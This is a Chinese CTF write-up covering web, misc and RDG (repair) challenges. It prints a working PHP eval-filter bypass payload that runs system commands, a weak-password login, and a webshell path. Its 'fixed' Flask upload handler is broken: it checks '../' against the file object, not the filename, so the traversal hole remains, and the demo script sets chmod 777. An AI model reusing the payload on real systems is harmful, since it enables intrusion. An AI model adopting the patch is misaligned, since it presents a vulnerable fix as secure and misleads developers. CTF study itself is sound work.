前言 集团比赛初赛,体验了一下RDG模式,和19年第一次打国赛那个半决赛的赛制有点像,类似于AWDplus,太久没打,一时间不知道怎么去传,后面放出了一个修复的demo,看了之后才明白怎么玩。
简单记录一下:
需要进到源码里面去具体修复,然后再提交压缩包上去check,如果修复成功,就会check通过。这次比赛压缩包的格式是:.tar.gz
把修复好的源码mv到原来的目录下去覆盖,然后去check,需要用到的命令放在update.sh里面,最后被修改的文件加上update.sh一起打包成压缩文件上传,然后check:
demo:
1 2 3 4 5 6 7 update.sh #! /bin/sh mv index.php /var/www/html/index.php //根据实际文件名还有文件路径做对应的修改 chmod 777 index.php 然后把我们修改好的index.php文件和update.sh 一起打包成 .tar.gz文件,命令为:tar zcvf update.tar.gz update.sh index.php
最后把update.tar.gz 上传,然后check即可。
web 上游服务器 这个题目给了一个上传的点,一开始看到url格式以为是SSRF打Redis,后面才发现是条件竞争:
有一个上传成功,然后后面访问又不存在的过程,早应该想到条件竞争的, 没想到会这么简单。
传一个文件上去,抓包一下,去爆破模块改下payload。
然后再用python写一个不停访问的脚本即可:
签到题 弱口令爆破,用bp 爆破一下即可,最后登录的口令:admin 654321
easy_rce 这个题目一开始打开是这个界面,以为是java。
后面放到kali去扫了一下,发现有index.php文件,于是访问index.php:
1 2 3 4 5 6 7 8 9 10 <?php if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['code' ])) { if (!preg_match ('/sess|ion|head|ers|next|file|prev|na|each|rand|strlen|values|reset|info|path|flip|current|dec|bin|pos|env|hex|local|oct|pi|dir|exp|end|log/i' , $_GET ['code' ])) { eval ($_GET ['code' ]); } else { die ("error" ); } } else { show_source (__FILE__ ); }
很多都被过滤了,但是array_shift() 没有被过滤,get_defined_vars()也没有,最终payload:
?cmd=system('ls');&code=eval(array_shift(array_shift(get_defined_vars())));
去根目录下拿flag
?cmd=system('cat /flag');&code=eval(array_shift(array_shift(get_defined_vars())));
MSIC modbus 附件是一个pcap文件,直接拖到工具一把锁:
锁了。
dns流量2 第二个题也是个流量包的题,一开始也是直接放到工具里面看看:
发现dns流量,放到wireshark去看下;
去kali里面把dns流量提取出来:
tshark -r dns.pcapng -T fields -e dns.qry.name -Y "ip.src==8.8.8.8" -Y "frame.len==99"
发现有一大串0101,把冗余的数据去掉,换行去掉,发现字符个数刚好是841=29*29 ,可以想到01转二维码:
直接跑脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from PIL import Imagefrom zlib import *def QR_scan (str ): MAX = int (len (str ) ** 0.5 ) pic = Image.new("RGB" , (MAX, MAX)) i = 0 for y in range (0 , MAX): for x in range (0 , MAX): if (str [i] == '0' ): pic.putpixel([x, y], (0 , 0 , 0 )) else : pic.putpixel([x, y], (255 , 255 , 255 )) i = i + 1 pic.show() f = open ("misc2.txt" , 'r' ) str = f.readline()QR_scan(str )
跑出来用微信扫码即可。
txtfile 这个题目一开始给的是16进制的txt,直接改成zip是不行的,这里是放到010里面,新建一个16进制文件,然后导入文件,最后保存改成zip:
解压的时候提示说是数字加小写,我选的六位数爆破,没爆破出来,电脑反而蓝屏了。。。
后面给了字典提示,直接放到archpr里面去爆破,得到一个wav音频文件,十分吵。。丢到audacity看频谱可以看到flag
RDG t-mobile tomcat框架,拖下来扫一下可以发现后门,删掉即可,rm /tomcat/webapps/ROOT/assets/img/icons/.shell.jsp
upload 在/app下把app.py代码拖下来看下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from flask import Flaskfrom flask import request, sessionfrom flask import render_template, redirect, render_template_stringimport pymysqlimport osdb_config = { 'host' : '127.0.0.1' , 'user' : 'root' , 'password' : os.environ.get('MYSQL_ROOT_PASSWORD' , '123456' ), 'database' : 'test' , } db = pymysql.connect(**db_config) cursor = db.cursor() app = Flask(__name__) app.secret_key = os.environ.get('SECRET' , 'secret' ) app.config['MAX_CONTENT_LENGTH' ] = 20 * 1024 @app.route('/' ) def index (): username = session.get('username' ) if not username: return redirect('/login' ) tpl = open ('templates/index.html' ).read() return render_template_string(tpl % username) @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload (): if request.method == 'GET' : return render_template('upload.html' ) file = request.files['file' ] dst = os.path.join('uploads' , file.filename) file.save(dst) return dst @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'GET' : return render_template('login.html' ) username = request.form.get('username' ) password = request.form.get('password' ) sql = "SELECT * from users where username=%s and password=%s" cursor.execute(sql, (username, password)) data = cursor.fetchall() print (cursor._executed) print (data) if len (data) > 0 : session['username' ] = data[0 ][0 ] return redirect('/' ) return 'failed' @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'GET' : return render_template('register.html' ) username = request.form.get('username' ) password = request.form.get('password' ) if len (username) > 20 : return "username is too long" sql = "SELECT * from users where username=%s" cursor.execute(sql, (username,)) if len ((data := cursor.fetchall())) > 0 : print (data) return 'username already used' sql = 'INSERT into users (username, password) values (%s, %s)' cursor.execute(sql, (username, password)) db.commit() print (cursor._executed) return 'success' if __name__ == '__main__' : app.run('0.0.0.0' , 5000 )
考虑到这里是upload,所以把重点放在upload函数上,加个过滤就行了:
1 2 3 4 5 6 7 8 9 10 @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload (): if request.method == 'GET' : return render_template('upload.html' ) file = request.files['file' ] if '../' in file: return "ban !" dst = os.path.join('uploads' , file.filename) file.save(dst) return dst
capture the cat 又是tomcat,在 /usr/local/tomcat/conf/下找到web.xml和tomcat-user.xml文件,改下配置:
首先把web.xml文件下的 readonly那里的false改成true,禁止put 。
然后tomcat-users.xml我们把密码改下,不让弱口令登录即可:
小结 这次RDG有个问题就是找服务所在路径的问题,其实可以通过关键词去搜索:
find / -name php
find / -name xxx